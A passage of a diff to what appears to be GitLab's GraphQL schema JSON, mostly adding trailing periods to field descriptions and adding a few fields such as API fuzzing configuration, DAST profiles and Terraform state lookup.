pipeline count", + "description": "Labels for the weekly pipeline count.", "args": [ ], @@ -51325,7 +54841,7 @@ }, { "name": "weekPipelinesSuccessful", - "description": "Total weekly successful pipeline count", + "description": "Total weekly successful pipeline count.", "args": [ ], @@ -51347,7 +54863,7 @@ }, { "name": "weekPipelinesTotals", - "description": "Total weekly pipeline count", + "description": "Total weekly pipeline count.", "args": [ ], @@ -51369,7 +54885,7 @@ }, { "name": "yearPipelinesLabels", - "description": "Labels for the yearly pipeline count", + "description": "Labels for the yearly pipeline count.", "args": [ ], @@ -51391,7 +54907,7 @@ }, { "name": "yearPipelinesSuccessful", - "description": "Total yearly successful pipeline count", + "description": "Total yearly successful pipeline count.", "args": [ ], @@ -51413,7 +54929,7 @@ }, { "name": "yearPipelinesTotals", - "description": "Total yearly pipeline count", + "description": "Total yearly pipeline count.", "args": [ ], @@ -51584,6 +55100,12 @@ "description": null, "isDeprecated": false, "deprecationReason": null + }, + { + "name": "COMPLIANCE_SOURCE", + "description": null, + "isDeprecated": false, + "deprecationReason": null } ], "possibleTypes": null @@ -51595,7 +55117,7 @@ "fields": [ { "name": "count", - "description": "Total count of collection", + "description": "Total count of collection.", "args": [ ], @@ -52059,7 +55581,7 @@ "fields": [ { "name": "actualRepositorySizeLimit", - "description": "Size limit for the repository in bytes", + "description": "Size limit for the repository in bytes.", "args": [ ], @@ -52073,7 +55595,7 @@ }, { "name": "alertManagementAlert", - "description": "A single Alert Management alert of the project", + "description": "A single Alert Management alert of the project.", "args": [ { "name": "iid", @@ -52158,7 +55680,7 @@ }, { "name": "alertManagementAlertStatusCounts", - "description": "Counts of alerts by status for the project", + "description": "Counts of alerts by status for the project.", "args": [ { "name": "search", @@ -52191,7 +55713,7 @@ }, { "name": "alertManagementAlerts", - "description": "Alert Management alerts of the project", + "description": "Alert Management alerts of the project.", "args": [ { "name": "iid", @@ -52316,7 +55838,7 @@ }, { "name": "alertManagementIntegrations", - "description": "Integrations which can receive alerts for the project", + "description": "Integrations which can receive alerts for the project.", "args": [ { "name": "after", @@ -52368,8 +55890,43 @@ "deprecationReason": null }, { + "name": "alertManagementPayloadFields", + "description": "Extract alert fields from payload for custom mapping.", + "args": [ + { + "name": "payloadExample", + "description": "Sample payload for extracting alert fields for custom mappings.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "AlertManagementPayloadAlertField", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "allowMergeOnSkippedPipeline", - "description": "If `only_allow_merge_if_pipeline_succeeds` is true, indicates if merge requests of the project can also be merged with skipped jobs", + "description": "If `only_allow_merge_if_pipeline_succeeds` is true, indicates if merge requests of the project can also be merged with skipped jobs.", "args": [ ], @@ -52382,8 +55939,22 @@ "deprecationReason": null }, { + "name": "apiFuzzingCiConfiguration", + "description": "API fuzzing configuration for the project. Available only when feature flag `api_fuzzing_configuration_ui` is enabled.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "ApiFuzzingCiConfiguration", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "archived", - "description": "Indicates the archived status of the project", + "description": "Indicates the archived status of the project.", "args": [ ], @@ -52397,7 +55968,7 @@ }, { "name": "autocloseReferencedIssues", - "description": "Indicates if issues referenced by merge requests and commits within the default branch are closed automatically", + "description": "Indicates if issues referenced by merge requests and commits within the default branch are closed automatically.", "args": [ ], @@ -52411,7 +55982,7 @@ }, { "name": "avatarUrl", - "description": "URL to avatar image file of the project", + "description": "URL to avatar image file of the project.", "args": [ ], @@ -52425,7 +55996,7 @@ }, { "name": "board", - "description": "A single board of the project", + "description": "A single board of the project.", "args": [ { "name": "id", @@ -52452,7 +56023,7 @@ }, { "name": "boards", - "description": "Boards of the project", + "description": "Boards of the project.", "args": [ { "name": "id", @@ -52515,7 +56086,7 @@ }, { "name": "ciCdSettings", - "description": "CI/CD settings for the project", + "description": "CI/CD settings for the project.", "args": [ ], @@ -52529,7 +56100,7 @@ }, { "name": "clusterAgent", - "description": "Find a single cluster agent by name", + "description": "Find a single cluster agent by name.", "args": [ { "name": "name", @@ -52556,7 +56127,7 @@ }, { "name": "clusterAgents", - "description": "Cluster agents associated with the project", + "description": "Cluster agents associated with the project.", "args": [ { "name": "after", @@ -52609,7 +56180,7 @@ }, { "name": "codeCoverageSummary", - "description": "Code coverage summary associated with the project", + "description": "Code coverage summary associated with the project.", "args": [ ], @@ -52623,7 +56194,7 @@ }, { "name": "complianceFrameworks", - "description": "Compliance frameworks associated with the project", + "description": "Compliance frameworks associated with the project.", "args": [ { "name": "after", @@ -52676,7 +56247,7 @@ }, { "name": "containerExpirationPolicy", - "description": "The container expiration policy of the project", + "description": "The container expiration policy of the project.", "args": [ ], @@ -52690,7 +56261,7 @@ }, { "name": "containerRegistryEnabled", - "description": "Indicates if the project stores Docker container images in a container registry", + "description": "Indicates if the project stores Docker container images in a container registry.", "args": [ ], @@ -52704,7 +56275,7 @@ }, { "name": "containerRepositories", - "description": "Container repositories of the project", + "description": "Container repositories of the project.", "args": [ { "name": "name", @@ -52717,6 +56288,16 @@ "defaultValue": null }, { + "name": "sort", + "description": "Sort container repositories by this criteria.", + "type": { + "kind": "ENUM", + "name": "ContainerRepositorySort", + "ofType": null + }, + "defaultValue": "created_desc" + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -52767,7 +56348,7 @@ }, { "name": "containerRepositoriesCount", - "description": "Number of container repositories in the project", + "description": "Number of container repositories in the project.", "args": [ ], @@ -52785,7 +56366,7 @@ }, { "name": "createdAt", - "description": "Timestamp of the project creation", + "description": "Timestamp of the project creation.", "args": [ ], @@ -52798,8 +56379,61 @@ "deprecationReason": null }, { + "name": "dastProfiles", + "description": "DAST Profiles associated with the project. Always returns no nodes if `dast_saved_scans` is disabled.", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DastProfileConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "dastScannerProfiles", - "description": "The DAST scanner profiles associated with the project", + "description": "The DAST scanner profiles associated with the project.", "args": [ { "name": "after", @@ -52852,7 +56486,7 @@ }, { "name": "dastSiteProfile", - "description": "DAST Site Profile associated with the project", + "description": "DAST Site Profile associated with the project.", "args": [ { "name": "id", @@ -52879,7 +56513,7 @@ }, { "name": "dastSiteProfiles", - "description": "DAST Site Profiles associated with the project", + "description": "DAST Site Profiles associated with the project.", "args": [ { "name": "after", @@ -52932,7 +56566,7 @@ }, { "name": "dastSiteValidations", - "description": "DAST Site Validations associated with the project. Will always return no nodes if `security_on_demand_scans_site_validation` is disabled", + "description": "DAST Site Validations associated with the project. Always returns no nodes if `security_on_demand_scans_site_validation` is disabled.", "args": [ { "name": "normalizedTargetUrls", @@ -53003,7 +56637,7 @@ }, { "name": "description", - "description": "Short description of the project", + "description": "Short description of the project.", "args": [ ], @@ -53031,7 +56665,7 @@ }, { "name": "environment", - "description": "A single environment of the project", + "description": "A single environment of the project.", "args": [ { "name": "name", @@ -53082,7 +56716,7 @@ }, { "name": "environments", - "description": "Environments of the project", + "description": "Environments of the project.", "args": [ { "name": "name", @@ -53173,7 +56807,7 @@ }, { "name": "forksCount", - "description": "Number of times the project has been forked", + "description": "Number of times the project has been forked.", "args": [ ], @@ -53191,7 +56825,7 @@ }, { "name": "fullPath", - "description": "Full path of the project", + "description": "Full path of the project.", "args": [ ], @@ -53209,7 +56843,7 @@ }, { "name": "grafanaIntegration", - "description": "Grafana integration details for the project", + "description": "Grafana integration details for the project.", "args": [ ], @@ -53223,7 +56857,7 @@ }, { "name": "group", - "description": "Group of the project", + "description": "Group of the project.", "args": [ ], @@ -53237,7 +56871,7 @@ }, { "name": "httpUrlToRepo", - "description": "URL to connect to the project via HTTPS", + "description": "URL to connect to the project via HTTPS.", "args": [ ], @@ -53251,7 +56885,7 @@ }, { "name": "id", - "description": "ID of the project", + "description": "ID of the project.", "args": [ ], @@ -53269,7 +56903,7 @@ }, { "name": "importStatus", - "description": "Status of import background job of the project", + "description": "Status of import background job of the project.", "args": [ ], @@ -53283,7 +56917,7 @@ }, { "name": "incidentManagementOncallSchedules", - "description": "Incident Management On-call schedules of the project", + "description": "Incident Management On-call schedules of the project.", "args": [ { "name": "after", @@ -53336,7 +56970,7 @@ }, { "name": "issue", - "description": "A single issue of the project", + "description": "A single issue of the project.", "args": [ { "name": "iid", @@ -53585,7 +57219,7 @@ }, { "name": "issueStatusCounts", - "description": "Counts of issues by status for the project", + "description": "Counts of issues by status for the project.", "args": [ { "name": "iid", @@ -53790,7 +57424,7 @@ }, { "name": "issues", - "description": "Issues of the project", + "description": "Issues of the project.", "args": [ { "name": "iid", @@ -54093,7 +57727,7 @@ }, { "name": "iterations", - "description": "Find iterations", + "description": "Find iterations.", "args": [ { "name": "startDate", @@ -54226,7 +57860,7 @@ }, { "name": "jiraImportStatus", - "description": "Status of Jira import background job of the project", + "description": "Status of Jira import background job of the project.", "args": [ ], @@ -54240,7 +57874,7 @@ }, { "name": "jiraImports", - "description": "Jira imports into the project", + "description": "Jira imports into the project.", "args": [ { "name": "after", @@ -54293,7 +57927,7 @@ }, { "name": "jobsEnabled", - "description": "Indicates if CI/CD pipeline jobs are enabled for the current user", + "description": "Indicates if CI/CD pipeline jobs are enabled for the current user.", "args": [ ], @@ -54307,11 +57941,11 @@ }, { "name": "label", - "description": "A label available on this project", + "description": "A label available on this project.", "args": [ { "name": "title", - "description": "Title of the label", + "description": "Title of the label.", "type": { "kind": "NON_NULL", "name": null, @@ -54334,9 +57968,29 @@ }, { "name": "labels", - "description": "Labels available on this project", + "description": "Labels available on this project.", "args": [ { + "name": "searchTerm", + "description": "A search term to find labels with.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "includeAncestorGroups", + "description": "Include labels from ancestor groups.", + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "defaultValue": "false" + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -54375,16 +58029,6 @@ "ofType": null }, "defaultValue": null - }, - { - "name": "searchTerm", - "description": "A search term to find labels with", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null } ], "type": { @@ -54397,7 +58041,7 @@ }, { "name": "lastActivityAt", - "description": "Timestamp of the project last activity", + "description": "Timestamp of the project last activity.", "args": [ ], @@ -54411,7 +58055,7 @@ }, { "name": "lfsEnabled", - "description": "Indicates if the project has Large File Storage (LFS) enabled", + "description": "Indicates if the project has Large File Storage (LFS) enabled.", "args": [ ], @@ -54425,7 +58069,7 @@ }, { "name": "mergeRequest", - "description": "A single merge request of the project", + "description": "A single merge request of the project.", "args": [ { "name": "iid", @@ -54452,7 +58096,7 @@ }, { "name": "mergeRequests", - "description": "Merge requests of the project", + "description": "Merge requests of the project.", "args": [ { "name": "iids", @@ -54685,7 +58329,7 @@ }, { "name": "milestones", - "description": "Milestones of the project", + "description": "Milestones of the project.", "args": [ { "name": "startDate", @@ -54836,7 +58480,7 @@ }, { "name": "name", - "description": "Name of the project (without namespace)", + "description": "Name of the project (without namespace).", "args": [ ], @@ -54854,7 +58498,7 @@ }, { "name": "nameWithNamespace", - "description": "Full name of the project with its namespace", + "description": "Full name of the project with its namespace.", "args": [ ], @@ -54872,7 +58516,7 @@ }, { "name": "namespace", - "description": "Namespace of the project", + "description": "Namespace of the project.", "args": [ ], @@ -54886,7 +58530,7 @@ }, { "name": "onlyAllowMergeIfAllDiscussionsAreResolved", - "description": "Indicates if merge requests of the project can only be merged when all the discussions are resolved", + "description": "Indicates if merge requests of the project can only be merged when all the discussions are resolved.", "args": [ ], @@ -54900,7 +58544,7 @@ }, { "name": "onlyAllowMergeIfPipelineSucceeds", - "description": "Indicates if merge requests of the project can only be merged with successful jobs", + "description": "Indicates if merge requests of the project can only be merged with successful jobs.", "args": [ ], @@ -54914,7 +58558,7 @@ }, { "name": "openIssuesCount", - "description": "Number of open issues for the project", + "description": "Number of open issues for the project.", "args": [ ], @@ -54928,7 +58572,7 @@ }, { "name": "packages", - "description": "Packages of the project", + "description": "Packages of the project.", "args": [ { "name": "after", @@ -54981,7 +58625,7 @@ }, { "name": "path", - "description": "Path of the project", + "description": "Path of the project.", "args": [ ], @@ -54999,7 +58643,7 @@ }, { "name": "pipeline", - "description": "Build pipeline of the project", + "description": "Build pipeline of the project.", "args": [ { "name": "iid", @@ -55026,7 +58670,7 @@ }, { "name": "pipelineAnalytics", - "description": "Pipeline analytics", + "description": "Pipeline analytics.", "args": [ ], @@ -55040,7 +58684,7 @@ }, { "name": "pipelines", - "description": "Build pipelines of the project", + "description": "Build pipelines of the project.", "args": [ { "name": "status", @@ -55123,7 +58767,7 @@ }, { "name": "printingMergeRequestLinkEnabled", - "description": "Indicates if a link to create or view a merge request should display after a push to Git repositories of the project from the command line", + "description": "Indicates if a link to create or view a merge request should display after a push to Git repositories of the project from the command line.", "args": [ ], @@ -55137,7 +58781,7 @@ }, { "name": "projectMembers", - "description": "Members of the project", + "description": "Members of the project.", "args": [ { "name": "search", @@ -55218,7 +58862,7 @@ }, { "name": "publicJobs", - "description": "Indicates if there is public access to pipelines and job details of the project, including output logs and artifacts", + "description": "Indicates if there is public access to pipelines and job details of the project, including output logs and artifacts.", "args": [ ], @@ -55232,7 +58876,7 @@ }, { "name": "release", - "description": "A single release of the project", + "description": "A single release of the project.", "args": [ { "name": "tagName", @@ -55259,7 +58903,7 @@ }, { "name": "releases", - "description": "Releases of the project", + "description": "Releases of the project.", "args": [ { "name": "sort", @@ -55322,7 +58966,7 @@ }, { "name": "removeSourceBranchAfterMerge", - "description": "Indicates if `Delete source branch` option should be enabled by default for all new merge requests of the project", + "description": "Indicates if `Delete source branch` option should be enabled by default for all new merge requests of the project.", "args": [ ], @@ -55336,7 +58980,7 @@ }, { "name": "repository", - "description": "Git repository of the project", + "description": "Git repository of the project.", "args": [ ], @@ -55350,7 +58994,7 @@ }, { "name": "repositorySizeExcess", - "description": "Size of repository that exceeds the limit in bytes", + "description": "Size of repository that exceeds the limit in bytes.", "args": [ ], @@ -55364,7 +59008,7 @@ }, { "name": "requestAccessEnabled", - "description": "Indicates if users can request member access to the project", + "description": "Indicates if users can request member access to the project.", "args": [ ], @@ -55378,7 +59022,7 @@ }, { "name": "requirement", - "description": "Find a single requirement", + "description": "Find a single requirement.", "args": [ { "name": "sort", @@ -55455,6 +59099,16 @@ } }, "defaultValue": null + }, + { + "name": "lastTestReportState", + "description": "The state of latest requirement test report.", + "type": { + "kind": "ENUM", + "name": "TestReportState", + "ofType": null + }, + "defaultValue": null } ], "type": { @@ -55467,7 +59121,7 @@ }, { "name": "requirementStatesCount", - "description": "Number of requirements for the project by their state", + "description": "Number of requirements for the project by their state.", "args": [ ], @@ -55481,7 +59135,7 @@ }, { "name": "requirements", - "description": "Find requirements", + "description": "Find requirements.", "args": [ { "name": "sort", @@ -55560,6 +59214,16 @@ "defaultValue": null }, { + "name": "lastTestReportState", + "description": "The state of latest requirement test report.", + "type": { + "kind": "ENUM", + "name": "TestReportState", + "ofType": null + }, + "defaultValue": null + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -55610,7 +59274,7 @@ }, { "name": "sastCiConfiguration", - "description": "SAST CI configuration for the project", + "description": "SAST CI configuration for the project.", "args": [ ], @@ -55624,7 +59288,7 @@ }, { "name": "securityDashboardPath", - "description": "Path to project's security dashboard", + "description": "Path to project's security dashboard.", "args": [ ], @@ -55638,7 +59302,7 @@ }, { "name": "securityScanners", - "description": "Information about security analyzers used in the project", + "description": "Information about security analyzers used in the project.", "args": [ ], @@ -55652,7 +59316,7 @@ }, { "name": "sentryDetailedError", - "description": "Detailed version of a Sentry error on the project", + "description": "Detailed version of a Sentry error on the project.", "args": [ { "name": "id", @@ -55679,7 +59343,7 @@ }, { "name": "sentryErrors", - "description": "Paginated collection of Sentry errors on the project", + "description": "Paginated collection of Sentry errors on the project.", "args": [ ], @@ -55721,7 +59385,7 @@ }, { "name": "services", - "description": "Project services", + "description": "Project services.", "args": [ { "name": "active", @@ -55794,7 +59458,7 @@ }, { "name": "sharedRunnersEnabled", - "description": "Indicates if shared runners are enabled for the project", + "description": "Indicates if shared runners are enabled for the project.", "args": [ ], @@ -55808,7 +59472,7 @@ }, { "name": "snippets", - "description": "Snippets of the project", + "description": "Snippets of the project.", "args": [ { "name": "ids", @@ -55903,7 +59567,7 @@ }, { "name": "squashReadOnly", - "description": "Indicates if squash readonly is enabled", + "description": "Indicates if `squashReadOnly` is enabled.", "args": [ ], @@ -55921,7 +59585,7 @@ }, { "name": "sshUrlToRepo", - "description": "URL to connect to the project via SSH", + "description": "URL to connect to the project via SSH.", "args": [ ], @@ -55935,7 +59599,7 @@ }, { "name": "starCount", - "description": "Number of times the project has been starred", + "description": "Number of times the project has been starred.", "args": [ ], @@ -55953,7 +59617,7 @@ }, { "name": "statistics", - "description": "Statistics of the project", + "description": "Statistics of the project.", "args": [ ], @@ -55967,7 +59631,7 @@ }, { "name": "suggestionCommitMessage", - "description": "The commit message used to apply merge request suggestions", + "description": "The commit message used to apply merge request suggestions.", "args": [ ], @@ -55981,7 +59645,7 @@ }, { "name": "tagList", - "description": "List of project topics (not Git tags)", + "description": "List of project topics (not Git tags).", "args": [ ], @@ -55994,8 +59658,35 @@ "deprecationReason": null }, { + "name": "terraformState", + "description": "Find a single Terraform state by name.", + "args": [ + { + "name": "name", + "description": "Name of the Terraform state.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "TerraformState", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "terraformStates", - "description": "Terraform states associated with the project", + "description": "Terraform states associated with the project.", "args": [ { "name": "after", @@ -56066,7 +59757,7 @@ }, { "name": "visibility", - "description": "Visibility of the project", + "description": "Visibility of the project.", "args": [ ], @@ -56080,7 +59771,7 @@ }, { "name": "vulnerabilities", - "description": "Vulnerabilities reported on the project", + "description": "Vulnerabilities reported on the project.", "args": [ { "name": "projectId", @@ -56253,7 +59944,7 @@ }, { "name": "vulnerabilitiesCountByDay", - "description": "Number of vulnerabilities per day for the project", + "description": "Number of vulnerabilities per day for the project.", "args": [ { "name": "startDate", @@ -56334,7 +60025,7 @@ }, { "name": "vulnerabilityScanners", - "description": "Vulnerability scanners reported on the project vulnerabilties", + "description": "Vulnerability scanners reported on the project vulnerabilities.", "args": [ { "name": "after", @@ -56387,7 +60078,7 @@ }, { "name": "vulnerabilitySeveritiesCount", - "description": "Counts for each vulnerability severity in the project", + "description": "Counts for each vulnerability severity in the project.", "args": [ { "name": "projectId", @@ -56490,7 +60181,7 @@ }, { "name": "webUrl", - "description": "Web URL of the project", + "description": "Web URL of the project.", "args": [ ], @@ -56708,7 +60399,7 @@ { "kind": "SCALAR", "name": "ProjectID", - "description": "Identifier of Project", + "description": "Identifier of Project.", "fields": null, "inputFields": null, "interfaces": null, @@ -56722,7 +60413,7 @@ "fields": [ { "name": "accessLevel", - "description": "GitLab::Access level", + "description": "GitLab::Access level.", "args": [ ], @@ -56736,7 +60427,7 @@ }, { "name": "createdAt", - "description": "Date and time the membership was created", + "description": "Date and time the membership was created.", "args": [ ], @@ -56750,7 +60441,7 @@ }, { "name": "createdBy", - "description": "User that authorized membership", + "description": "User that authorized membership.", "args": [ ], @@ -56764,7 +60455,7 @@ }, { "name": "expiresAt", - "description": "Date and time the membership expires", + "description": "Date and time the membership expires.", "args": [ ], @@ -56778,7 +60469,7 @@ }, { "name": "id", - "description": "ID of the member", + "description": "ID of the member.", "args": [ ], @@ -56796,7 +60487,7 @@ }, { "name": "project", - "description": "Project that User is a member of", + "description": "Project that User is a member of.", "args": [ ], @@ -56810,7 +60501,7 @@ }, { "name": "updatedAt", - "description": "Date and time the membership was last updated", + "description": "Date and time the membership was last updated.", "args": [ ], @@ -56824,7 +60515,7 @@ }, { "name": "user", - "description": "User that is associated with the member object", + "description": "User that is associated with the member object.", "args": [ ], @@ -57793,7 +61484,7 @@ "fields": [ { "name": "buildArtifactsSize", - "description": "Build artifacts size of the project in bytes", + "description": "Build artifacts size of the project in bytes.", "args": [ ], @@ -57811,7 +61502,7 @@ }, { "name": "commitCount", - "description": "Commit count of the project", + "description": "Commit count of the project.", "args": [ ], @@ -57829,7 +61520,7 @@ }, { "name": "lfsObjectsSize", - "description": "Large File Storage (LFS) object size of the project in bytes", + "description": "Large File Storage (LFS) object size of the project in bytes.", "args": [ ], @@ -57847,7 +61538,7 @@ }, { "name": "packagesSize", - "description": "Packages size of the project in bytes", + "description": "Packages size of the project in bytes.", "args": [ ], @@ -57865,7 +61556,7 @@ }, { "name": "repositorySize", - "description": "Repository size of the project in bytes", + "description": "Repository size of the project in bytes.", "args": [ ], @@ -57883,7 +61574,7 @@ }, { "name": "snippetsSize", - "description": "Snippets size of the project in bytes", + "description": "Snippets size of the project in bytes.", "args": [ ], @@ -57897,7 +61588,7 @@ }, { "name": "storageSize", - "description": "Storage size of the project in bytes", + "description": "Storage size of the project in bytes.", "args": [ ], @@ -57915,7 +61606,7 @@ }, { "name": "uploadsSize", - "description": "Uploads size of the project in bytes", + "description": "Uploads size of the project in bytes.", "args": [ ], @@ -57929,7 +61620,7 @@ }, { "name": "wikiSize", - "description": "Wiki size of the project in bytes", + "description": "Wiki size of the project in bytes.", "args": [ ], @@ -57956,7 +61647,7 @@ "fields": [ { "name": "humanizedText", - "description": "The human-readable text of the alert condition", + "description": "The human-readable text of the alert condition.", "args": [ ], @@ -57974,7 +61665,7 @@ }, { "name": "id", - "description": "ID of the alert condition", + "description": "ID of the alert condition.", "args": [ ], @@ -58355,7 +62046,7 @@ { "kind": "SCALAR", "name": "PrometheusServiceID", - "description": "Identifier of PrometheusService", + "description": "Identifier of PrometheusService.", "fields": null, "inputFields": null, "interfaces": null, @@ -58508,6 +62199,20 @@ "description": null, "fields": [ { + "name": "ciApplicationSettings", + "description": "CI related settings that apply to the entire instance.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "CiApplicationSettings", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "ciConfig", "description": "Get linted and processed contents of a CI config. Should not be requested more than once per request.", "args": [ @@ -58560,11 +62265,11 @@ }, { "name": "containerRepository", - "description": "Find a container repository", + "description": "Find a container repository.", "args": [ { "name": "id", - "description": "The global ID of the container repository", + "description": "The global ID of the container repository.", "type": { "kind": "NON_NULL", "name": null, @@ -58587,7 +62292,7 @@ }, { "name": "currentUser", - "description": "Get information about current user", + "description": "Get information about current user.", "args": [ ], @@ -58601,7 +62306,7 @@ }, { "name": "designManagement", - "description": "Fields related to design management", + "description": "Fields related to design management.", "args": [ ], @@ -58619,7 +62324,7 @@ }, { "name": "devopsAdoptionSegments", - "description": "Get configured DevOps adoption segments on the instance", + "description": "Get configured DevOps adoption segments on the instance.", "args": [ { "name": "after", @@ -58672,7 +62377,7 @@ }, { "name": "echo", - "description": "Text to echo back", + "description": "Text to echo back.", "args": [ { "name": "text", @@ -58703,7 +62408,7 @@ }, { "name": "geoNode", - "description": "Find a Geo node", + "description": "Find a Geo node.", "args": [ { "name": "name", @@ -58726,7 +62431,7 @@ }, { "name": "group", - "description": "Find a group", + "description": "Find a group.", "args": [ { "name": "fullPath", @@ -58753,7 +62458,7 @@ }, { "name": "instanceSecurityDashboard", - "description": "Fields related to Instance Security Dashboard", + "description": "Fields related to Instance Security Dashboard.", "args": [ ], @@ -58767,7 +62472,7 @@ }, { "name": "instanceStatisticsMeasurements", - "description": "Get statistics on the instance", + "description": "Get statistics on the instance.", "args": [ { "name": "identifier", @@ -58854,11 +62559,11 @@ }, { "name": "issue", - "description": "Find an issue", + "description": "Find an issue.", "args": [ { "name": "id", - "description": "The global ID of the Issue", + "description": "The global ID of the Issue.", "type": { "kind": "NON_NULL", "name": null, @@ -58881,11 +62586,11 @@ }, { "name": "iteration", - "description": "Find an iteration", + "description": "Find an iteration.", "args": [ { "name": "id", - "description": "Find an iteration by its ID", + "description": "Find an iteration by its ID.", "type": { "kind": "NON_NULL", "name": null, @@ -58908,7 +62613,7 @@ }, { "name": "metadata", - "description": "Metadata about GitLab", + "description": "Metadata about GitLab.", "args": [ ], @@ -58922,11 +62627,11 @@ }, { "name": "milestone", - "description": "Find a milestone", + "description": "Find a milestone.", "args": [ { "name": "id", - "description": "Find a milestone by its ID", + "description": "Find a milestone by its ID.", "type": { "kind": "NON_NULL", "name": null, @@ -58949,7 +62654,7 @@ }, { "name": "namespace", - "description": "Find a namespace", + "description": "Find a namespace.", "args": [ { "name": "fullPath", @@ -58975,8 +62680,8 @@ "deprecationReason": null }, { - "name": "packageComposerDetails", - "description": "Find a composer package", + "name": "package", + "description": "Find a package.", "args": [ { "name": "id", @@ -58995,7 +62700,7 @@ ], "type": { "kind": "OBJECT", - "name": "PackageComposerDetails", + "name": "Package", "ofType": null }, "isDeprecated": false, @@ -59003,7 +62708,7 @@ }, { "name": "project", - "description": "Find a project", + "description": "Find a project.", "args": [ { "name": "fullPath", @@ -59030,7 +62735,7 @@ }, { "name": "projects", - "description": "Find projects visible to the current user", + "description": "Find projects visible to the current user.", "args": [ { "name": "membership", @@ -59141,7 +62846,7 @@ }, { "name": "runnerPlatforms", - "description": "Supported runner platforms", + "description": "Supported runner platforms.", "args": [ { "name": "after", @@ -59194,7 +62899,7 @@ }, { "name": "runnerSetup", - "description": "Get runner setup instructions", + "description": "Get runner setup instructions.", "args": [ { "name": "platform", @@ -59255,7 +62960,7 @@ }, { "name": "snippets", - "description": "Find Snippets visible to the current user", + "description": "Find Snippets visible to the current user.", "args": [ { "name": "ids", @@ -59376,7 +63081,7 @@ }, { "name": "user", - "description": "Find a user", + "description": "Find a user.", "args": [ { "name": "id", @@ -59409,7 +63114,7 @@ }, { "name": "users", - "description": "Find users", + "description": "Find users.", "args": [ { "name": "ids", @@ -59528,7 +63233,7 @@ }, { "name": "vulnerabilities", - "description": "Vulnerabilities reported on projects on the current user's instance security dashboard", + "description": "Vulnerabilities reported on projects on the current user's instance security dashboard.", "args": [ { "name": "projectId", @@ -59701,7 +63406,7 @@ }, { "name": "vulnerabilitiesCountByDay", - "description": "Number of vulnerabilities per day for the projects on the current user's instance security dashboard", + "description": "Number of vulnerabilities per day for the projects on the current user's instance security dashboard.", "args": [ { "name": "startDate", @@ -59782,7 +63487,7 @@ }, { "name": "vulnerabilitiesCountByDayAndSeverity", - "description": "Number of vulnerabilities per severity level, per day, for the projects on the current user's instance security dashboard Deprecated in 13.3: Use `vulnerabilitiesCountByDay`.", + "description": "Number of vulnerabilities per severity level, per day, for the projects on the current user's instance security dashboard. Deprecated in 13.3: Use `vulnerabilitiesCountByDay`.", "args": [ { "name": "startDate", @@ -59863,11 +63568,11 @@ }, { "name": "vulnerability", - "description": "Find a vulnerability", + "description": "Find a vulnerability.", "args": [ { "name": "id", - "description": "The Global ID of the Vulnerability", + "description": "The Global ID of the Vulnerability.", "type": { "kind": "NON_NULL", "name": null, @@ -59938,7 +63643,7 @@ "fields": [ { "name": "assets", - "description": "Assets of the release", + "description": "Assets of the release.", "args": [ ], @@ -59952,7 +63657,7 @@ }, { "name": "author", - "description": "User that created the release", + "description": "User that created the release.", "args": [ ], @@ -59966,7 +63671,7 @@ }, { "name": "commit", - "description": "The commit associated with the release", + "description": "The commit associated with the release.", "args": [ ], @@ -59980,7 +63685,7 @@ }, { "name": "createdAt", - "description": "Timestamp of when the release was created", + "description": "Timestamp of when the release was created.", "args": [ ], @@ -59994,7 +63699,7 @@ }, { "name": "description", - "description": "Description (also known as \"release notes\") of the release", + "description": "Description (also known as \"release notes\") of the release.", "args": [ ], @@ -60022,7 +63727,7 @@ }, { "name": "evidences", - "description": "Evidence for the release", + "description": "Evidence for the release.", "args": [ { "name": "after", @@ -60075,7 +63780,7 @@ }, { "name": "links", - "description": "Links of the release", + "description": "Links of the release.", "args": [ ], @@ -60089,7 +63794,7 @@ }, { "name": "milestones", - "description": "Milestones associated to the release", + "description": "Milestones associated to the release.", "args": [ { "name": "after", @@ -60142,7 +63847,7 @@ }, { "name": "name", - "description": "Name of the release", + "description": "Name of the release.", "args": [ ], @@ -60156,7 +63861,7 @@ }, { "name": "releasedAt", - "description": "Timestamp of when the release was released", + "description": "Timestamp of when the release was released.", "args": [ ], @@ -60170,7 +63875,7 @@ }, { "name": "tagName", - "description": "Name of the tag associated with the release", + "description": "Name of the tag associated with the release.", "args": [ ], @@ -60184,7 +63889,7 @@ }, { "name": "tagPath", - "description": "Relative web path to the tag associated with the release", + "description": "Relative web path to the tag associated with the release.", "args": [ ], @@ -60198,7 +63903,7 @@ }, { "name": "upcomingRelease", - "description": "Indicates the release is an upcoming release", + 